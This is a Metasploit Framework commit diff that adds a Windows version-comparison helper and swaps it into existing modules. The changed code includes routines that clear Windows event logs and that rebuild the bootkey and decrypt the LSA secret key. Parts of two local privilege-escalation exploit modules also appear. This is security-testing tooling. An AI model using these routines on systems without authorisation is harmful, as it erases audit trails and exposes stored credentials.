Added module for Windows version comparisons

Utilised it in various existing modules - this should fix some subtle bugs in specific modules' version detection.
This commit is contained in:
Ashley Donaldson 2023-05-25 12:45:30 +10:00
parent e749945b01
commit 75ba9110e2
No known key found for this signature in database
GPG Key ID: D4BCDC8C892F7477
92 changed files with 2315 additions and 1721 deletions

View File

@ -1,60 +1,59 @@
# -*- coding: binary -*-
module Msf
class Post
module Windows
class Post
module Windows
module Eventlog
include Msf::Post::Windows::Version
module Eventlog
def initialize(info = {})
super(
update_info(
info,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_eventlog_*
]
}
}
)
)
end
def initialize(info = {})
super(
update_info(
info,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_config_sysinfo
stdapi_sys_eventlog_*
]
}
}
)
)
end
#
# Enumerate eventlogs
#
def eventlog_list
key = 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\'
version = get_version_info
if version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::Server2003_SP2)
key = "#{key}Eventlog"
else
key = "#{key}eventlog"
end
eventlogs = registry_enumkeys(key)
return eventlogs
end
#
# Enumerate eventlogs
#
def eventlog_list
key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\"
if session.sys.config.sysinfo['OS'] =~ /Windows 2003|\.Net|XP|2000/
key = "#{key}Eventlog"
else
key = "#{key}eventlog"
#
# Clears a given eventlog or all eventlogs if none is given. Returns an array of eventlogs
# that where cleared.
#
def eventlog_clear(evt = '')
evntlog = []
if evt.empty?
evntlog = eventloglist
else
evntlog << evt
end
evntlog.each do |e|
log = session.sys.eventlog.open(e)
log.clear
end
return evntlog
end
end
end
eventlogs = registry_enumkeys(key)
return eventlogs
end
#
# Clears a given eventlog or all eventlogs if none is given. Returns an array of eventlogs
# that where cleared.
#
def eventlog_clear(evt = "")
evntlog = []
if evt.empty?
evntlog = eventloglist
else
evntlog << evt
end
evntlog.each do |e|
log = session.sys.eventlog.open(e)
log.clear
end
return evntlog
end
end
end
end
end

View File

@ -3,17 +3,18 @@
module Msf::Post::Windows::Priv
include ::Msf::Post::Windows::Accounts
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Version
include Msf::Util::WindowsCryptoHelpers
INTEGRITY_LEVEL_SID = {
:low => 'S-1-16-4096',
:medium => 'S-1-16-8192',
:high => 'S-1-16-12288',
:system => 'S-1-16-16384'
}
low: 'S-1-16-4096',
medium: 'S-1-16-8192',
high: 'S-1-16-12288',
system: 'S-1-16-16384'
}.freeze
SYSTEM_SID = 'S-1-5-18'
ADMINISTRATORS_SID = 'S-1-5-32-544'
SYSTEM_SID = 'S-1-5-18'.freeze
ADMINISTRATORS_SID = 'S-1-5-32-544'.freeze
# http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx
# ConsentPromptBehaviorAdmin
@ -50,7 +51,11 @@ module Msf::Post::Windows::Priv
def is_admin?
if session_has_ext
# Assume true if the OS doesn't expose this (Windows 2000)
return session.railgun.shell32.IsUserAnAdmin()['return'] rescue true
begin
return session.railgun.shell32.IsUserAnAdmin()['return']
rescue StandardError
true
end
end
local_service_key = registry_enumkeys('HKU\S-1-5-19')
@ -99,7 +104,6 @@ module Msf::Post::Windows::Priv
true
end
#
# Returns true if in the administrator group
#
@ -107,7 +111,7 @@ module Msf::Post::Windows::Priv
whoami = get_whoami
if whoami.nil?
print_error("Unable to identify admin group membership")
print_error('Unable to identify admin group membership')
return nil
elsif whoami.include? ADMINISTRATORS_SID
return true
@ -137,19 +141,16 @@ module Msf::Post::Windows::Priv
#
def is_uac_enabled?
uac = false
winversion = session.sys.config.sysinfo['OS']
if winversion =~ /Windows (Vista|7|8|2008|2012|10|2016|2019)/
unless is_system?
begin
enable_lua = registry_getvaldata(
'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',
'EnableLUA'
)
uac = (enable_lua == 1)
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Error Checking if UAC is Enabled: #{e.class} #{e}")
end
version = get_version_info
if version.build_number >= Msf::WindowsVersion::Vista_SP0 && !is_system?
begin
enable_lua = registry_getvaldata(
'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',
'EnableLUA'
)
uac = (enable_lua == 1)
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Error Checking if UAC is Enabled: #{e.class} #{e}")
end
end
return uac
@ -164,8 +165,8 @@ module Msf::Post::Windows::Priv
def get_uac_level
begin
uac_level = registry_getvaldata(
'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',
'ConsentPromptBehaviorAdmin'
'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',
'ConsentPromptBehaviorAdmin'
)
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Error Checking UAC Level: #{e.class} #{e}")
@ -185,10 +186,10 @@ module Msf::Post::Windows::Priv
whoami = get_whoami
if whoami.nil?
print_error("Unable to identify integrity level")
print_error('Unable to identify integrity level')
return nil
else
INTEGRITY_LEVEL_SID.each_pair do |k,sid|
INTEGRITY_LEVEL_SID.each_pair do |_k, sid|
if whoami.include? sid
return sid
end
@ -212,9 +213,9 @@ module Msf::Post::Windows::Priv
def get_whoami
whoami = cmd_exec('cmd.exe /c whoami /groups')
if whoami.nil? or whoami.empty?
if whoami.nil? || whoami.empty?
return nil
elsif whoami =~ /is not recognized/ or whoami =~ /extra operand/ or whoami =~ /Access is denied/
elsif whoami =~ (/is not recognized/) || whoami =~ (/extra operand/) || whoami =~ (/Access is denied/)
return nil
else
return whoami
@ -225,37 +226,36 @@ module Msf::Post::Windows::Priv
# Return true if the session has extended capabilities (ie meterpreter)
#
def session_has_ext
begin
return !!(session.railgun and session.sys.config)
rescue NoMethodError
return false
end
return !!(session.railgun and session.sys.config)
rescue NoMethodError
return false
end
#
# Returns the unscrambled bootkey
#
def capture_boot_key
bootkey = ""
basekey = "System\\CurrentControlSet\\Control\\Lsa"
bootkey = ''
basekey = 'System\\CurrentControlSet\\Control\\Lsa'
%W{JD Skew1 GBG Data}.each do |k|
%w[JD Skew1 GBG Data].each do |k|
begin
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + '\\' + k, KEY_READ)
rescue Rex::Post::Meterpreter::RequestError
end
return nil if not ok
bootkey << [ok.query_class.to_i(16)].pack("V")
return nil if !ok
bootkey << [ok.query_class.to_i(16)].pack('V')
ok.close
end
keybytes = bootkey.unpack("C*")
descrambled = ""
keybytes = bootkey.unpack('C*')
descrambled = ''
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
0.upto(keybytes.length-1) do |x|
descrambled << [keybytes[descrambler[x]]].pack("C")
0.upto(keybytes.length - 1) do |x|
descrambled << [keybytes[descrambler[x]]].pack('C')
end
return descrambled
@ -267,39 +267,39 @@ module Msf::Post::Windows::Priv
# @note This requires the session be running as SYSTEM
#
def capture_lsa_key(bootkey)
vprint_status("Getting PolSecretEncryptionKey...")
pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "")
vprint_status('Getting PolSecretEncryptionKey...')
pol = registry_getvaldata('HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey', '')
if pol
print_status("XP or below system")
print_status('XP or below system')
@lsa_vista_style = false
md5x = Digest::MD5.new()
md5x = Digest::MD5.new
md5x << bootkey
(1..1000).each do
md5x << pol[60,16]
1000.times do
md5x << pol[60, 16]
end
rc4 = OpenSSL::Cipher.new("rc4")
rc4 = OpenSSL::Cipher.new('rc4')
rc4.decrypt
rc4.key = md5x.digest
lsa_key = rc4.update(pol[12,48])
lsa_key = rc4.update(pol[12, 48])
lsa_key << rc4.final
lsa_key = lsa_key[0x10..0x1F]
else
print_status("Vista or above system")
print_status('Vista or above system')
@lsa_vista_style = true
vprint_status("Trying 'V72' style...")
vprint_status("Getting PolEKList...")
pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", "")
vprint_status('Getting PolEKList...')
pol = registry_getvaldata('HKLM\\SECURITY\\Policy\\PolEKList', '')
# If that didn't work, then we're out of luck
return nil if pol.nil?
lsa_key = decrypt_lsa_data(pol, bootkey)
lsa_key = lsa_key[68,32]
lsa_key = lsa_key[68, 32]
end
vprint_good(lsa_key.unpack("H*")[0])
vprint_good(lsa_key.unpack('H*')[0])
return lsa_key
end
@ -309,10 +309,9 @@ module Msf::Post::Windows::Priv
# registry key, false otherwise.
def lsa_vista_style?
if @lsa_vista_style.nil?
@lsa_vista_style = !!(registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", ""))
@lsa_vista_style = !registry_getvaldata('HKLM\\SECURITY\\Policy\\PolEKList', '').nil?
end
@lsa_vista_style
end
end

View File

@ -263,20 +263,19 @@ module Msf
def check_compatibility
# Check Windows version to make sure we will use the correct supported command flags
# - `schtasks.exe` on Windows prior to Windows Server 2003 SP2 has
# - `schtasks.exe` on Windows prior to Windows Server 2003 SP1 has
# some different `/create` option flags.
# - `schtasks.exe` on Windows until Server 2003 SP2 has some
# different `/query` option flags.
# - `schtasks.exe` on Windows prior to Vista has some
# different `/query` option flags - set @old_os to true
# Also, on these OSes, `reg.exe` does not support the `/reg:64` flag.
@old_schtasks = false
@old_os = false
return unless sysinfo
match = sysinfo['OS'].match(/(?<version>[\d.]+) Build/)
return unless match
if Rex::Version.new((match[:version])) < Rex::Version.new('6.0')
version = get_version_info
if version.build_number < Msf::WindowsVersion::Vista_SP0
@old_os = true
unless sysinfo['OS'].include?('5.2 Build 3790, Service Pack 2')
if version.build_number < Msf::WindowsVersion::Server2003_SP1
@old_schtasks = true
end
if datastore['ScheduleRemoteSystem'].present?

View File

@ -0,0 +1,93 @@
# -*- coding: binary -*-
module Msf::Post::Windows::Version
def initialize(info = {})
super(
update_info(
info,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
]
}
}
)
)
end
def get_version_info
if session.type == 'meterpreter'
result = session.railgun.ntdll.RtlGetVersion(input_os_version_info_ex)
os_version_info_ex = unpack_version_info(result['VersionInformation'])
major = os_version_info_ex[1]
minor = os_version_info_ex[2]
build = os_version_info_ex[3]
service_pack = os_version_info_ex[6]
product_type = os_version_info_ex[9]
Msf::WindowsVersion.new(major, minor, build, service_pack, product_type)
else
build_num_raw = cmd_exec('systeminfo')
bn_groups = build_num_raw.match(/OS Version:\s+(\d+)\.(\d+)\.(\d+).*((Service Pack\s+(\d+))|N\/A)/)
if bn_groups.nil?
print_error("Couldn't retrieve the target's build number!")
raise RuntimeError.new("Couldn't retrieve the target's build number!")
else
sp = bn_groups[6]
sp = 0 if sp.nil?
workstation = 'Standalone Workstation'
dc = 'Domain Controller'
server = 'Standalone Server'
product_regex_output = build_num_raw.match(/((#{workstation})|(#{dc})|(#{server}))/)
if product_regex_output.nil?
product_type = Msf::WindowsVersion::UnknownProduct
else
case product_regex_output[1]
when workstation
product_type = Msf::WindowsVersion::VER_NT_WORKSTATION
when dc
product_type = Msf::WindowsVersion::VER_NT_DOMAIN_CONTROLLER
when server
product_type = Msf::WindowsVersion::VER_NT_SERVER
end
end
Msf::WindowsVersion.new(bn_groups[1].to_i, bn_groups[2].to_i, bn_groups[3].to_i, sp, product_type)
end
end
end
private
def empty_os_version_info_ex
result = [0,
0,
0,
0,
0,
"",
0,
0,
0,
0,
0
]
end
def pack_version_info(info)
info.pack('VVVVVa256vvvCC')
end
def unpack_version_info(bytes)
bytes.unpack('VVVVVa256vvvCC')
end
def input_os_version_info_ex
input = empty_os_version_info_ex
size = pack_version_info(input).size
input[0] = size
pack_version_info(input)
end
end

View File

@ -0,0 +1,175 @@
# -*- coding: binary -*-
module Msf
#
# Represents the version of a Windows operating system
#
class WindowsVersion
VER_NT_WORKSTATION = 1
VER_NT_DOMAIN_CONTROLLER = 2
VER_NT_SERVER = 3
UnknownProduct = -1
Win2000 = Rex::Version.new('5.0.2195')
XP_SP0 = Rex::Version.new('5.1.2600.0')
XP_SP1 = Rex::Version.new('5.1.2600.1')
XP_SP2 = Rex::Version.new('5.1.2600.2')
XP_SP3 = Rex::Version.new('5.1.2600.3')
Server2003_SP0 = Rex::Version.new('5.2.3790.0')
Server2003_SP1 = Rex::Version.new('5.2.3790.1')
Server2003_SP2 = Rex::Version.new('5.2.3790.2')
Vista_SP0 = Server2008_SP0 = Rex::Version.new('6.0.6000.0')
Vista_SP1 = Server2008_SP1 = Rex::Version.new('6.0.6001.1')
Vista_SP2 = Server2008_SP2 = Rex::Version.new('6.0.6002.2')
Win7_SP0 = Server2008_R2_SP0 = Rex::Version.new('6.1.7600.0')
Win7_SP1 = Server2008_R2_SP1 = Rex::Version.new('6.1.7601.1')
Win8 = Server2012 = Rex::Version.new('6.2.9200.0')
Win81 = Server2012_R2 = Rex::Version.new('6.3.9600.0')
Win10_1507 = Win10_InitialRelease = Rex::Version.new('10.0.10240.0')
Win10_1511 = Rex::Version.new('10.0.10586.0')
Win10_1607 = Server2016 = Rex::Version.new('10.0.14393.0')
Win10_1703 = Rex::Version.new('10.0.15063.0')
Win10_1709 = Rex::Version.new('10.0.16299.0')
Win10_1803 = Rex::Version.new('10.0.17134.0')
Win10_1809 = Server2019 = Rex::Version.new('10.0.17763.0')
Win10_1903 = Rex::Version.new('10.0.18362.0')
Win10_1909 = Rex::Version.new('10.0.18363.0')
Win10_2004 = Rex::Version.new('10.0.19041.0')
Win10_20H2 = Rex::Version.new('10.0.19042.0')
Win10_21H1 = Rex::Version.new('10.0.19043.0')
Win10_21H2 = Rex::Version.new('10.0.19044.0')
Win10_22H2 = Rex::Version.new('10.0.19045.0')
Server2022 = Rex::Version.new('10.0.20348.0')
Win11_21H2 = Rex::Version.new('10.0.22000.0')
Win11_22H2 = Rex::Version.new('10.0.22621.0')
module MajorRelease
NT351 = 'Windows NT 3.51'.freeze
Win95 = 'Windows 95'.freeze
Win98 = 'Windows 98'.freeze
WinME = 'Windows ME'.freeze
XP = 'Windows XP'.freeze
Server2003 = 'Windows Server 2003'.freeze
Vista = 'Windows Vista'.freeze
Server2008 = 'Windows Server 2008'.freeze
Win7 = 'Windows 7'.freeze
Server2008R2 = 'Windows 2008 R2'.freeze
Win8 = 'Windows 8'.freeze
Server2012 = 'Windows Server 2012'.freeze
Win81 = 'Windows 8.1'.freeze
Server2012R2 = 'Windows Server 2012 R2'.freeze
Win10Plus = 'Windows 10+'.freeze
Server2016Plus = 'Windows Server 2016+'.freeze
end
def initialize(major, minor, build, service_pack, product_type)
self._major = major
self._minor = minor
self._build = build
self._service_pack = service_pack
self.product_type = product_type
end
# The specific build number of this version (major.minor.build.service_pack)
def build_number
Rex::Version.new("#{_major}.#{_minor}.#{_build}.#{_service_pack}")
end
# Is this OS a Windows Server instance?
def windows_server?
# There are other types than just workstation/server/DC, but Microsoft's own documentation says
# "If it's not Workstation, then it's Server"
# https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-osversioninfoexa
product_type != VER_NT_WORKSTATION
end
# Is this a Workstation build?
def workstation?
product_type == VER_NT_WORKSTATION
end
# This Windows Server has been promoted to a DC
def domain_controller?
product_type == VER_NT_DOMAIN_CONTROLLER
end
# The name of the OS, as it is most commonly rendered. Includes Service Pack if present, or build number if Win10 or higher.
def product_name
result = "Unknown Windows version: #{_major}.#{_minor}.#{_build}"
name = major_release_name
result = name unless name.nil?
result = "#{result} Service Pack #{_service_pack}" if _service_pack != 0
result = "#{result} Build #{_build}" if build_number >= Win10_InitialRelease
result
end
def to_s
product_name
end
# Is this version number from the Vista/Server 2008 generation of Windows OSes
def vista_or_2008?
build_number.between?(Vista_SP0, Vista_SP2)
end
# Is this version number from the Windows 7/Server 2008 R2 generation of Windows OSes
def win7_or_2008r2?
build_number.between?(Win7_SP0, Win7_SP1)
end
# Is this version number from the XP/Server 2003 generation of Windows OSes
def xp_or_2003?
build_number.between?(XP_SP0, Server2003_SP2)
end
private
attr_accessor :_major, :_minor, :_build, :_service_pack, :product_type
# The major release within which this build fits
def major_release_name
if _major == 5
if _minor == 1
return MajorRelease::XP
elsif _minor == 2
return MajorRelease::Server2003 if windows_server?
return MajorRelease::XP
end
elsif _major == 6
if _minor == 0
return MajorRelease::Server2008 if windows_server?
return MajorRelease::Vista
elsif _minor == 1
return MajorRelease::Server2008R2 if windows_server?
return MajorRelease::Win7
elsif _minor == 2
return MajorRelease::Server2012 if windows_server?
return MajorRelease::Win8
elsif _minor == 3
return MajorRelease::Server2012R2 if windows_server?
return MajorRelease::Win81
end
elsif _major == 10
if _minor == 0
return MajorRelease::Server2016Plus if windows_server?
return MajorRelease::Win10Plus
end
end
return nil
end
end
end

View File

@ -1,186 +1,187 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Railgun
module Def
module Post
module Meterpreter
module Extensions
module Stdapi
module Railgun
module Def
class Def_windows_ntdll
class Def_windows_ntdll
def self.create_library(constant_manager, library_path = 'ntdll')
dll = Library.new(library_path, constant_manager)
def self.create_library(constant_manager, library_path = 'ntdll')
dll = Library.new(library_path, constant_manager)
dll.add_function('NtAllocateVirtualMemory', 'DWORD', [
['DWORD', 'ProcessHandle', 'in'],
['PBLOB', 'BaseAddress', 'inout'],
['PDWORD', 'ZeroBits', 'in'],
['PBLOB', 'RegionSize', 'inout'],
['DWORD', 'AllocationType', 'in'],
['DWORD', 'Protect', 'in']
])
dll.add_function('NtAllocateVirtualMemory', 'DWORD',[
["DWORD","ProcessHandle","in"],
["PBLOB","BaseAddress","inout"],
["PDWORD","ZeroBits","in"],
["PBLOB","RegionSize","inout"],
["DWORD","AllocationType","in"],
["DWORD","Protect","in"]
])
dll.add_function('NtClose', 'DWORD', [
['DWORD', 'Handle', 'in'],
])
dll.add_function('NtClose', 'DWORD',[
["DWORD","Handle","in"],
])
dll.add_function('NtCreateFile', 'DWORD', [
['PHANDLE', 'FileHandle', 'inout'],
['DWORD', 'DesiredAccess', 'in'],
['PBLOB', 'ObjectAttributes', 'in'],
['PBLOB', 'IoStatusBlock', 'inout'],
['PBLOB', 'AllocationSize', 'in'],
['DWORD', 'FileAttributes', 'in'],
['DWORD', 'ShareAccess', 'in'],
['DWORD', 'CreateDisposition', 'in'],
['DWORD', 'CreateOptions', 'in'],
['PBLOB', 'EaBuffer', 'in'],
['DWORD', 'EaLength', 'in'],
])
dll.add_function('NtCreateFile', 'DWORD',[
["PHANDLE","FileHandle","inout"],
["DWORD","DesiredAccess","in"],
["PBLOB","ObjectAttributes","in"],
["PBLOB","IoStatusBlock","inout"],
["PBLOB","AllocationSize","in"],
["DWORD","FileAttributes","in"],
["DWORD","ShareAccess","in"],
["DWORD","CreateDisposition","in"],
["DWORD","CreateOptions","in"],
["PBLOB","EaBuffer","in"],
["DWORD","EaLength","in"],
])
dll.add_function('NtDeviceIoControlFile', 'DWORD', [
['DWORD', 'FileHandle', 'in'],
['DWORD', 'Event', 'in'],
['LPVOID', 'ApcRoutine', 'in'],
['LPVOID', 'ApcContext', 'in'],
['PDWORD', 'IoStatusBlock', 'out'],
['DWORD', 'IoControlCode', 'in'],
['LPVOID', 'InputBuffer', 'in'],
['DWORD', 'InputBufferLength', 'in'],
['LPVOID', 'OutputBuffer', 'in'],
['DWORD', 'OutputBufferLength', 'in'],
])
dll.add_function('NtDeviceIoControlFile', 'DWORD',[
["DWORD","FileHandle","in"],
["DWORD","Event","in"],
["LPVOID","ApcRoutine","in"],
["LPVOID","ApcContext","in"],
["PDWORD","IoStatusBlock","out"],
["DWORD","IoControlCode","in"],
["LPVOID","InputBuffer","in"],
["DWORD","InputBufferLength","in"],
["LPVOID","OutputBuffer","in"],
["DWORD","OutputBufferLength","in"],
])
dll.add_function('NtOpenFile', 'DWORD', [
['PHANDLE', 'FileHandle', 'inout'],
['DWORD', 'DesiredAccess', 'in'],
['PBLOB', 'ObjectAttributes', 'in'],
['PBLOB', 'IoStatusBlock', 'inout'],
['DWORD', 'ShareAccess', 'in'],
['DWORD', 'OpenOptions', 'in'],
])
dll.add_function('NtOpenFile', 'DWORD',[
["PHANDLE","FileHandle","inout"],
["DWORD","DesiredAccess","in"],
["PBLOB","ObjectAttributes","in"],
["PBLOB","IoStatusBlock","inout"],
["DWORD","ShareAccess","in"],
["DWORD","OpenOptions","in"],
])
dll.add_function('NtQueryInformationProcess', 'DWORD', [
['DWORD', 'ProcessHandle', 'in'],
['DWORD', 'ProcessInformationClass', 'in'],
['PBLOB', 'ProcessInformation', 'inout'],
['DWORD', 'ProcessInformationLength', 'in'],
['PDWORD', 'ReturnLength', 'inout'],
])
dll.add_function('NtQueryInformationProcess', 'DWORD',[
["DWORD","ProcessHandle","in"],
["DWORD","ProcessInformationClass","in"],
["PBLOB","ProcessInformation","inout"],
["DWORD","ProcessInformationLength","in"],
["PDWORD","ReturnLength","inout"],
])
dll.add_function('NtQueryInformationThread', 'DWORD', [
['DWORD', 'ThreadHandle', 'in'],
['DWORD', 'ThreadInformationClass', 'in'],
['PBLOB', 'ThreadInformation', 'inout'],
['DWORD', 'ThreadInformationLength', 'in'],
['PDWORD', 'ReturnLength', 'inout'],
])
dll.add_function('NtQueryInformationThread', 'DWORD',[
["DWORD","ThreadHandle","in"],
["DWORD","ThreadInformationClass","in"],
["PBLOB","ThreadInformation","inout"],
["DWORD","ThreadInformationLength","in"],
["PDWORD","ReturnLength","inout"],
])
dll.add_function('NtQueryIntervalProfile', 'DWORD', [
['DWORD', 'ProfileSource', 'in'],
['PDWORD', 'Interval', 'out'],
])
dll.add_function('NtQueryIntervalProfile', 'DWORD',[
["DWORD","ProfileSource","in"],
["PDWORD","Interval","out"],
])
dll.add_function('NtQuerySystemInformation', 'DWORD', [
['DWORD', 'SystemInformationClass', 'in'],
['PBLOB', 'SystemInformation', 'inout'],
['DWORD', 'SystemInformationLength', 'in'],
['PDWORD', 'ReturnLength', 'inout'],
])
dll.add_function('NtQuerySystemInformation', 'DWORD',[
["DWORD","SystemInformationClass","in"],
["PBLOB","SystemInformation","inout"],
["DWORD","SystemInformationLength","in"],
["PDWORD","ReturnLength","inout"],
])
dll.add_function('NtQuerySystemTime', 'DWORD', [
['PBLOB', 'SystemTime', 'inout'],
])
dll.add_function('NtQuerySystemTime', 'DWORD',[
["PBLOB","SystemTime","inout"],
])
dll.add_function('NtWaitForSingleObject', 'DWORD', [
['DWORD', 'Handle', 'in'],
['BOOL', 'Alertable', 'in'],
['PBLOB', 'Timeout', 'in'],
])
dll.add_function('NtWaitForSingleObject', 'DWORD',[
["DWORD","Handle","in"],
["BOOL","Alertable","in"],
["PBLOB","Timeout","in"],
])
dll.add_function('RtlCharToInteger', 'DWORD', [
['PBLOB', 'String', 'inout'],
['DWORD', 'Base', 'in'],
['PDWORD', 'Value', 'inout'],
])
dll.add_function('RtlCharToInteger', 'DWORD',[
["PBLOB","String","inout"],
["DWORD","Base","in"],
["PDWORD","Value","inout"],
])
dll.add_function('RtlConvertSidToUnicodeString', 'DWORD', [
['PBLOB', 'UnicodeString', 'inout'],
['PBLOB', 'Sid', 'inout'],
['BOOL', 'AllocateDestinationString', 'in'],
])
dll.add_function('RtlConvertSidToUnicodeString', 'DWORD',[
["PBLOB","UnicodeString","inout"],
["PBLOB","Sid","inout"],
["BOOL","AllocateDestinationString","in"],
])
dll.add_function('RtlFreeAnsiString', 'VOID', [
['PBLOB', 'AnsiString', 'inout'],
])
dll.add_function('RtlFreeAnsiString', 'VOID',[
["PBLOB","AnsiString","inout"],
])
dll.add_function('RtlFreeOemString', 'VOID', [
['PBLOB', 'OemString', 'inout'],
])
dll.add_function('RtlFreeOemString', 'VOID',[
["PBLOB","OemString","inout"],
])
dll.add_function('RtlFreeUnicodeString', 'VOID', [
['PBLOB', 'UnicodeString', 'inout'],
])
dll.add_function('RtlFreeUnicodeString', 'VOID',[
["PBLOB","UnicodeString","inout"],
])
dll.add_function('RtlGetNtVersionNumbers', 'VOID', [
['PDWORD', 'MajorVersion', 'inout'],
['PDWORD', 'MinorVersion', 'inout'],
['PDWORD', 'BuildNumber', 'inout']
])
dll.add_function('RtlGetNtVersionNumbers', 'VOID',[
["PDWORD","MajorVersion","inout"],
["PDWORD","MinorVersion","inout"],
["PDWORD","BuildNumber","inout"]
])
dll.add_function('RtlGetVersion', 'VOID', [
['PBLOB', 'VersionInformation', 'inout']
])
dll.add_function('RtlInitAnsiString', 'VOID',[
["PBLOB","DestinationString","inout"],
["PBLOB","SourceString","inout"],
])
dll.add_function('RtlInitAnsiString', 'VOID', [
['PBLOB', 'DestinationString', 'inout'],
['PBLOB', 'SourceString', 'inout'],
])
dll.add_function('RtlInitString', 'VOID',[
["PBLOB","DestinationString","inout"],
["PBLOB","SourceString","inout"],
])
dll.add_function('RtlInitString', 'VOID', [
['PBLOB', 'DestinationString', 'inout'],
['PBLOB', 'SourceString', 'inout'],
])
dll.add_function('RtlLocalTimeToSystemTime', 'DWORD',[
["PBLOB","LocalTime","in"],
["PBLOB","SystemTime","inout"],
])
dll.add_function('RtlLocalTimeToSystemTime', 'DWORD', [
['PBLOB', 'LocalTime', 'in'],
['PBLOB', 'SystemTime', 'inout'],
])
dll.add_function('RtlNtStatusToDosError', 'DWORD',[
["DWORD","Status","in"],
])
dll.add_function('RtlNtStatusToDosError', 'DWORD', [
['DWORD', 'Status', 'in'],
])
dll.add_function('RtlTimeToSecondsSince1970', 'BOOL',[
["PBLOB","Time","inout"],
["PDWORD","ElapsedSeconds","inout"],
])
dll.add_function('RtlTimeToSecondsSince1970', 'BOOL', [
['PBLOB', 'Time', 'inout'],
['PDWORD', 'ElapsedSeconds', 'inout'],
])
dll.add_function('RtlUniform', 'DWORD',[
["PDWORD","Seed","inout"],
])
dll.add_function('RtlUniform', 'DWORD', [
['PDWORD', 'Seed', 'inout'],
])
dll.add_function('RtlUnwind', 'VOID',[
["PBLOB","TargetFrame","in"],
["PBLOB","TargetIp","in"],
["PBLOB","ExceptionRecord","in"],
["PBLOB","ReturnValue","in"],
])
dll.add_function('RtlUnwind', 'VOID', [
['PBLOB', 'TargetFrame', 'in'],
['PBLOB', 'TargetIp', 'in'],
['PBLOB', 'ExceptionRecord', 'in'],
['PBLOB', 'ReturnValue', 'in'],
])
dll.add_function('RtlInitUnicodeString', 'VOID',[
["PBLOB","DestinationString","out"],
["PWCHAR","SourceString","in"]
])
dll.add_function('RtlInitUnicodeString', 'VOID', [
['PBLOB', 'DestinationString', 'out'],
['PWCHAR', 'SourceString', 'in']
])
dll.add_function('NtCreateSymbolicLinkObject', 'DWORD',[
["PDWORD","LinkHandle","out"],
["DWORD","DesiredAccess","in"], # ACCESS_MASK
["PBLOB","ObjectAttributes","in"], # POBJECT_ATTRIBUTES
["PBLOB","TargetName","in"] # PUNICODE_STRING
])
return dll
end
end
end; end; end; end; end; end; end
dll.add_function('NtCreateSymbolicLinkObject', 'DWORD', [
['PDWORD', 'LinkHandle', 'out'],
['DWORD', 'DesiredAccess', 'in'], # ACCESS_MASK
['PBLOB', 'ObjectAttributes', 'in'], # POBJECT_ATTRIBUTES
['PBLOB', 'TargetName', 'in'] # PUNICODE_STRING
])
return dll
end
end
end; end; end; end; end; end; end

View File

@ -32,30 +32,26 @@ class MetasploitModule < Msf::Exploit::Local
This module has been tested against Windows 10 Pro x64.
},
'License' => MSF_LICENSE,
'Author' =>
[
'SandboxEscaper', # Original discovery and PoC
'bwatters-r7', # msf module
'asoto-r7', # msf module
'Jacob Robles' # msf module
],
'Author' => [
'SandboxEscaper', # Original discovery and PoC
'bwatters-r7', # msf module
'asoto-r7', # msf module
'Jacob Robles' # msf module
],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
['Windows 10 x64', { 'Arch' => ARCH_X64 }]
],
'References' =>
[
['CVE', '2018-8440'],
['URL', 'https://github.com/SandboxEscaper/randomrepo/'],
],
'Notes' =>
{
# Exploit overwrites PrintConfig.dll, which makes it unusable.
'Stability' => [ OS_RESOURCE_LOSS ],
'Reliability' => [ REPEATABLE_SESSION ]
},
'Targets' => [
['Windows 10 x64', { 'Arch' => ARCH_X64 }]
],
'References' => [
['CVE', '2018-8440'],
['URL', 'https://github.com/SandboxEscaper/randomrepo/'],
],
'Notes' => {
# Exploit overwrites PrintConfig.dll, which makes it unusable.
'Stability' => [ OS_RESOURCE_LOSS ],
'Reliability' => [ REPEATABLE_SESSION ]
},
'DisclosureDate' => '2018-08-27',
'DefaultTarget' => 0
)
@ -79,7 +75,8 @@ class MetasploitModule < Msf::Exploit::Local
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
end
if sysinfo['OS'] =~ /XP/
version = get_version_info
if version.xp_or_2003? && version.workstation?
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
end
end

View File

@ -13,64 +13,67 @@ class MetasploitModule < Msf::Exploit::Local
include Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'AppXSvc Hard Link Privilege Escalation',
'Description' => %q(
There exists a privilege escalation vulnerability for
Windows 10 builds prior to build 17763. Due to the AppXSvc's
improper handling of hard links, a user can gain full
privileges over a SYSTEM-owned file. The user can then utilize
the new file to execute code as SYSTEM.
super(
update_info(
info,
'Name' => 'AppXSvc Hard Link Privilege Escalation',
'Description' => %q{
There exists a privilege escalation vulnerability for
Windows 10 builds prior to build 17763. Due to the AppXSvc's
improper handling of hard links, a user can gain full
privileges over a SYSTEM-owned file. The user can then utilize
the new file to execute code as SYSTEM.
This module employs a technique using the Diagnostics Hub Standard
